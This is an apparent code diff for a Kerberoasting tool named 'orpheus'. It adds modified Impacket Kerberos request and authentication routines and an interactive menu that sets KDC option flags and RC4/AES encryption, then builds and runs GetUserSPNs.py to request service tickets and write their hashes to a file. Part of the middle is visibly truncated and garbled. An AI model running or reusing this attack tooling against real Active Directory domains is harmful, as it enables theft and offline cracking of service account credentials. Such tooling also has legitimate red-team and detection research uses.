AS_REP())[0] + except: + decodedTGT = decoder.decode(tgt, asn1Spec = TGS_REP())[0] + + domain = domain.upper() + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq,'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = decodedTGT['crealm'].asOctets() + + clientName = Principal() + clientName.from_asn1( decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + reqBody = seq_set(tgsReq, 'req-body') + + opts = options + #opts.append( constants.KDCOptions.forwardable.value ) + #opts.append( constants.KDCOptions.renewable.value ) + #opts.append( constants.KDCOptions.canonicalize.value ) + #opts.append( constants.KDCOptions.renewable_ok.value ) + #opts.append( constants.KDCOptions.canonicalize.value ) + + reqBody['kdc-options'] = constants.encodeFlags(opts) + seq_set(reqBody, 'sname', serverName.components_to_asn1) + reqBody['realm'] = domain + + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = rand.getrandbits(31) + if encType != None: + seq_set_iter(reqBody, 'etype', ( (int(encType),))) + else: + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + + message = encoder.encode(tgsReq) + + r = sendReceive(message, domain, kdcHost) + + # Get the session key + + tgs = decoder.decode(r, asn1Spec = TGS_REP())[0] + + cipherText = tgs['enc-part']['cipher'] + + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) + + encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0] + + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'].asOctets()) + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + + # Check we've got what we asked for + res = decoder.decode(r, asn1Spec = TGS_REP())[0] + spn = Principal() + spn.from_asn1(res['ticket'], 'realm', 'sname') + + if spn.components[0] == serverName.components[0]: + # Yes.. bye bye + return r, cipher, sessionKey, newSessionKey + else: + # Let's extract the Ticket, change the domain and keep asking + domain = spn.components[1] + return getKerberosTGS(serverName, domain, kdcHost, r, cipher, newSessionKey) + +################################################################################ +# DCE RPC Helpers +################################################################################ +def getKerberosType3(cipher, sessionKey, auth_data): + negTokenResp = SPNEGO_NegTokenResp(auth_data) + # If DCE_STYLE = FALSE + #ap_rep = decoder.decode(negTokenResp['ResponseToken'][16:], asn1Spec=AP_REP())[0] + try: + krbError = KerberosError(packet = decoder.decode(negTokenResp['ResponseToken'][15:], asn1Spec = KRB_ERROR())[0]) + except Exception: + pass + else: + raise krbError + + ap_rep = decoder.decode(negTokenResp['ResponseToken'], asn1Spec=AP_REP())[0] + + cipherText = ap_rep['enc-part']['cipher'] + + # Key Usage 12 + # AP-REP encrypted part (includes application session + # subkey), encrypted with the application session key + # (Section 5.5.2) + plainText = cipher.decrypt(sessionKey, 12, cipherText) + + encAPRepPart = decoder.decode(plainText, asn1Spec = EncAPRepPart())[0] + + cipher = _enctype_table[int(encAPRepPart['subkey']['keytype'])]() + sessionKey2 = Key(cipher.enctype, encAPRepPart['subkey']['keyvalue'].asOctets()) + + sequenceNumber = int(encAPRepPart['seq-number']) + + encAPRepPart['subkey'].clear() + encAPRepPart = encAPRepPart.clone() + + now = datetime.datetime.utcnow() + encAPRepPart['cusec'] = now.microsecond + encAPRepPart['ctime'] = KerberosTime.to_asn1(now) + encAPRepPart['seq-number'] = sequenceNumber + encodedAuthenticator = encoder.encode(encAPRepPart) + + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 12, encodedAuthenticator, None) + + ap_rep['enc-part'].clear() + ap_rep['enc-part']['etype'] = cipher.enctype + ap_rep['enc-part']['cipher'] = encryptedEncodedAuthenticator + + resp = SPNEGO_NegTokenResp() + resp['ResponseToken'] = encoder.encode(ap_rep) + + return cipher, sessionKey2, resp.getData() + +def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', + kdcHost = None, useCache = True): + + # Convert to binary form, just in case we're receiving strings + if isinstance(lmhash, str): + try: + lmhash = unhexlify(lmhash) + except TypeError: + pass + if isinstance(nthash, str): + try: + nthash = unhexlify(nthash) + except TypeError: + pass + if isinstance(aesKey, str): + try: + aesKey = unhexlify(aesKey) + except TypeError: + pass + + if TGT is None and TGS is None: + if useCache is True: + try: + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + except Exception: + # No cache present + pass + else: + # retrieve domain information from CCache file if needed + if domain == '': + domain = ccache.principal.realm['data'].decode('utf-8') + LOG.debug('Domain retrieved from CCache: %s' % domain) + + LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) + principal = 'host/%s@%s' % (targetName.upper(), domain.upper()) + creds = ccache.getCredential(principal) + if creds is None: + # Let's try for the TGT and go from there + principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper()) + creds = ccache.getCredential(principal) + if creds is not None: + TGT = creds.toTGT() + LOG.debug('Using TGT from cache') + else: + LOG.debug("No valid credentials found in cache. ") + else: + TGS = creds.toTGS(principal) + + # retrieve user information from CCache file if needed + if username == '' and creds is not None: + username = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') + LOG.debug('Username retrieved from CCache: %s' % username) + elif username == '' and len(ccache.principal.components) > 0: + username = ccache.principal.components[0]['data'].decode('utf-8') + LOG.debug('Username retrieved from CCache: %s' % username) + + # First of all, we need to get a TGT for the user + userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + while True: + if TGT is None: + if TGS is None: + try: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost) + except KerberosError as e: + if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: + # We might face this if the target does not support AES + # So, if that's the case we'll force using RC4 by converting + # the password to lm/nt hashes and hope for the best. If that's already + # done, byebye. + if lmhash == b'' and nthash == b'' and (aesKey == b'' or aesKey is None) and TGT is None and TGS is None: + from impacket.ntlm import compute_lmhash, compute_nthash + LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') + lmhash = compute_lmhash(password) + nthash = compute_nthash(password) + continue + else: + raise + else: + raise + + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + # Now that we have the TGT, we should ask for a TGS for cifs + + if TGS is None: + serverName = Principal('host/%s' % targetName, type=constants.PrincipalNameType.NT_SRV_INST.value) + try: + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey) + except KerberosError as e: + if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: + # We might face this if the target does not support AES + # So, if that's the case we'll force using RC4 by converting + # the password to lm/nt hashes and hope for the best. If that's already + # done, byebye. + if lmhash == b'' and nthash == b'' and (aesKey == b'' or aesKey is None) and TGT is None and TGS is None: + from impacket.ntlm import compute_lmhash, compute_nthash + LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') + lmhash = compute_lmhash(password) + nthash = compute_nthash(password) + else: + raise + else: + raise + else: + break + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + break + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + opts.append(constants.APOptions.mutual_required.value) + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq,'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + + authenticator['cksum'] = noValue + authenticator['cksum']['cksumtype'] = 0x8003 + + chkField = CheckSumField() + chkField['Lgth'] = 16 + + chkField['Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE + #chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE + authenticator['cksum']['checksum'] = chkField.getData() + authenticator['seq-number'] = 0 + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode( + TypesMech['KRB5 - Kerberos 5'] ) + KRB5_AP_REQ + encoder.encode(apReq)) + + return cipher, sessionKey, blob.getData() + + +class SessionKeyDecryptionError(Exception): + """ + Exception risen when we fail to decrypt a session key within an AS-REP + message. + It provides context information such as full AS-REP message but also the + cipher, key and cipherText used when the error occurred. + """ + def __init__( self, message, asRep, cipher, key, cipherText): + self.message = message + self.asRep = asRep + self.cipher = cipher + self.key = key + self.cipherText = cipherText + + def __str__ ( self): + return "SessionKeyDecryptionError: %s" % self.message + + +class KerberosError(SessionError): + """ + This is the exception every client should catch regardless of the underlying + SMB version used. We'll take care of that. NETBIOS exceptions are NOT included, + since all SMB versions share the same NETBIOS instances. + """ + def __init__( self, error = 0, packet=0): + SessionError.__init__(self) + self.error = error + self.packet = packet + if packet != 0: + self.error = self.packet['error-code'] + + def getErrorCode( self ): + return self.error + + def getErrorPacket( self ): + return self.packet + + def getErrorString( self ): + return constants.ERROR_MESSAGES[self.error] + + def __str__( self ): + retString = 'Kerberos SessionError: %s(%s)' % (constants.ERROR_MESSAGES[self.error]) + try: + # Let's try to get the NT ERROR, if not, we quit and give the general one + if self.error == constants.ErrorCodes.KRB_ERR_GENERIC.value: + eData = decoder.decode(self.packet['e-data'], asn1Spec = KERB_ERROR_DATA())[0] + nt_error = struct.unpack('= 11: + optlines[optidx - 11] = optlines[optidx - 11] + line + else: + optlines.append(line) + + for optline in optlines: + print(optline) + + print('') + + print(termcolor.GREEN + termcolor.BOLD + '[+]' + termcolor.END + '{:31s}'.format(' Ticket Options Value:') + termcolor.WHITE + termcolor.BOLD + '[' + kdcopt + ']' + termcolor.END) + print('') + print(termcolor.GREEN + termcolor.BOLD + '[+]' + termcolor.END + '{:31s}'.format(' GetUserSPNs.py Parameters:') + termcolor.END) + print(' ' + '{:30s}'.format('(cred) Credentials') + termcolor.YELLOW + termcolor.BOLD + '[' + cred + ']' + termcolor.END) + print(' ' + '{:30s}'.format('(dcip) Domain IP Address') + termcolor.YELLOW + termcolor.BOLD + '[' + dcip + ']' + termcolor.END) + print(' ' + '{:30s}'.format('(file) Filename') + termcolor.YELLOW + termcolor.BOLD + '[' + file + ']' + termcolor.END) + print(' ' + '{:30s}'.format('(enc) Encryption') + termcolor.YELLOW + termcolor.BOLD + '[' + str(enctype) + ']' + termcolor.END) + print('') + +def pycommand(): + print('') + print(termcolor.WHITE + termcolor.BOLD + cmd + termcolor.END) + print('') + +def updatecmd(): + global cmd + cmd = 'python3 ./GetUserSPNs.py \'' + cred + '\' -dc-ip ' + dcip + ' -request -outputfile ' + file + ' -options \"' + kdcopt + '\"' + ' -encryption \"' + str(enctype) + '\"' + +def commands(): + print('') + print('Commands:') + print(' ' + '{:30s}'.format('0 to 31') + termcolor.WHITE + 'Toggles the specific KDC Option flag.' + termcolor.END) + print(' ' + '{:30s}'.format('hex ') + termcolor.WHITE + 'Sets KDC Options from a hexadecimal value.' + termcolor.END) + print(' ' + '{:30s}'.format('cred ') + termcolor.WHITE + 'Sets the GetUserSPNs.py credential parameter.' + termcolor.END) + print(' ' + '{:30s}'.format('dcip ') + termcolor.WHITE + 'Sets the GetUserSPNs.py domain IP parameter.' + termcolor.END) + print(' ' + '{:30s}'.format('file ') + termcolor.WHITE + 'Sets the GetUserSPNs.py filename parameter.' + termcolor.END) + print(' ' + '{:30s}'.format('enc') + termcolor.WHITE + 'Toggles the encryption type from 23 (RC4) to 18 (AES-256).' + termcolor.END) + print(' ' + '{:30s}'.format('command') + termcolor.WHITE + 'Show the GetUserSPNs.py command with specified options.' + termcolor.END) + print(' ' + '{:30s}'.format('run') + termcolor.WHITE + 'Runs GetUserSPNs.py with the selected options.' + termcolor.END) + print(' ' + '{:30s}'.format('clear') + termcolor.WHITE + 'Clears the screen and displays the options.' + termcolor.END) + print(' ' + '{:30s}'.format('exit') + termcolor.WHITE + 'Exits the script.' + termcolor.END) + print('') + +def main(): + global kdcopt, kdcbin, scale, cred, dcip, file, cmd, enctype + os.system('clear') + banner() + updatecmd() + rsp = 0 + while rsp != 'exit': + rsp = input(termcolor.LIGHTBLUE + "orpheus " + termcolor.LIGHTRED + "(command)" + termcolor.LIGHTBLUE + " > " + termcolor.END) + if rsp!= 'exit': + if rsp.isdigit(): + irsp = int(rsp) + if irsp >= 0 and irsp <=31: + val = kdcbin[irsp:irsp+1] + if val == "0": + val = "1" + else: + val = "0" + left = kdcbin[:irsp] + right = kdcbin[irsp+1:] + kdcbin = left + val + right + kdcopt = hex(int(kdcbin, 2)) + os.system('clear') + banner() + elif rsp == 'run': + os.system(cmd) + elif 'hex' in rsp: + hcmd = rsp[4:] + try: + kdcbin = bin(int(hcmd, scale))[2:].zfill(32) + kdcopt = hex(int(kdcbin, 2)) + os.system('clear') + banner() + except: + print("Invalid hexadecimal value.") + elif 'cred' in rsp: + cred = rsp[5:] + os.system('clear') + banner() + elif 'file' in rsp: + file = rsp[5:] + os.system('clear') + banner() + elif 'dcip' in rsp: + dcip = rsp[5:] + os.system('clear') + banner() + elif 'enc' in rsp: + if enctype == 18: + enctype = 23 + else: + enctype = 18 + os.system('clear') + banner() + elif rsp == 'help': + commands() + elif rsp == 'command': + pycommand() + elif rsp == 'clear': + os.system('clear') + banner() + else: + print("Invalid command. Type help.") + updatecmd() + +if __name__ == '__main__': + signal(SIGINT, signal_handler) + main()